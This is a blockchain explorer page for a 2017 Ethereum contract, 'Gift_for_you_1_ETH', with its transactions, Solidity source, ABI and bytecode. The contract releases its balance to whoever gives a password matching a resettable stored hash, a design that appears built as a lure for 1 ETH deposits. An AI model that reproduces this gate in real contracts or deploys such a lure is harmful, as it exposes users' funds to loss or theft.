More Info
Private Name Tags
ContractCreator
Latest 10 from a total of 10 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Get Gift | 15291045 | 735 days ago | IN | 0 ETH | 0.00016621 | ||||
Get Gift | 4925014 | 2397 days ago | IN | 0 ETH | 0.00103455 | ||||
Get Gift | 4924976 | 2397 days ago | IN | 0 ETH | 0.00114135 | ||||
Get Gift | 4924894 | 2397 days ago | IN | 0 ETH | 0.00094874 | ||||
Set Pass | 4924876 | 2397 days ago | IN | 1 ETH | 0.00097912 | ||||
Get Gift | 4547381 | 2462 days ago | IN | 0 ETH | 0.0001093 | ||||
Get Gift | 4507522 | 2468 days ago | IN | 0 ETH | 0.00014863 | ||||
Transfer | 4502038 | 2469 days ago | IN | 0 ETH | 0.0000021 | ||||
Set Pass | 4501990 | 2469 days ago | IN | 1 ETH | 0.00004385 | ||||
0x60606040 | 4501773 | 2469 days ago | IN | 0 ETH | 0.0000179 |
Loading...
Loading
Contract Name:
Gift_for_you_1_ETH
Compiler Version
v0.4.18+commit.9cf6e910
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2017-11-06 */ pragma solidity ^0.4.18; contract Gift_for_you_1_ETH { bool passHasBeenSet = false; function()payable{} function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);} bytes32 public hashPass; function SetPass(bytes32 hash) public payable { if(!passHasBeenSet&&(msg.value >= 1 ether)) { hashPass = hash; } } function GetGift(bytes pass) public payable { if(hashPass == sha3(pass)) { msg.sender.transfer(this.balance); } } function PassHasBeenSet(bytes32 hash) public { if(hash==hashPass) { passHasBeenSet=true; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"SetPass","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"PassHasBeenSet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"hashPass","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetHash","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]
Contract Creation Code
606060405260008060006101000a81548160ff021916908315150217905550341561002957600080fd5b610383806100386000396000f30060606040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a6fbb051461006f578063181ffc5f1461008b57806331fd725a146100dd57806387f2448414610104578063b456ecc514610135575b005b6100896004808035600019169060200190919050506101ae565b005b6100db600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506101e6565b005b34156100e857600080fd5b6101026004808035600019169060200190919050506102b5565b005b341561010f57600080fd5b6101176102e5565b60405180826000191660001916815260200191505060405180910390f35b341561014057600080fd5b610190600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506102eb565b60405180826000191660001916815260200191505060405180910390f35b6000809054906101000a900460ff161580156101d25750670de0b6b3a76400003410155b156101e35780600181600019169055505b50565b806040518082805190602001908083835b60208310151561021c57805182526020820191506020810190506020830392506101f7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019166001546000191614156102b2573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156102b157600080fd5b5b50565b60015460001916816000191614156102e25760016000806101000a81548160ff0219169083151502179055505b50565b60015481565b6000816040518082805190602001908083835b60208310151561032357805182526020820191506020810190506020830392506102fe565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090509190505600a165627a7a72305820c1b6b8f6198d4492458c01c52ad98c45e33d62af23f4575ec842d8183ea4846e0029
Deployed Bytecode
0x60606040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a6fbb051461006f578063181ffc5f1461008b57806331fd725a146100dd57806387f2448414610104578063b456ecc514610135575b005b6100896004808035600019169060200190919050506101ae565b005b6100db600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506101e6565b005b34156100e857600080fd5b6101026004808035600019169060200190919050506102b5565b005b341561010f57600080fd5b6101176102e5565b60405180826000191660001916815260200191505060405180910390f35b341561014057600080fd5b610190600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506102eb565b60405180826000191660001916815260200191505060405180910390f35b6000809054906101000a900460ff161580156101d25750670de0b6b3a76400003410155b156101e35780600181600019169055505b50565b806040518082805190602001908083835b60208310151561021c57805182526020820191506020810190506020830392506101f7565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019166001546000191614156102b2573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156102b157600080fd5b5b50565b60015460001916816000191614156102e25760016000806101000a81548160ff0219169083151502179055505b50565b60015481565b6000816040518082805190602001908083835b60208310151561032357805182526020820191506020810190506020830392506102fe565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090509190505600a165627a7a72305820c1b6b8f6198d4492458c01c52ad98c45e33d62af23f4575ec842d8183ea4846e0029
Swarm Source
bzzr://c1b6b8f6198d4492458c01c52ad98c45e33d62af23f4575ec842d8183ea4846e
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 26 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.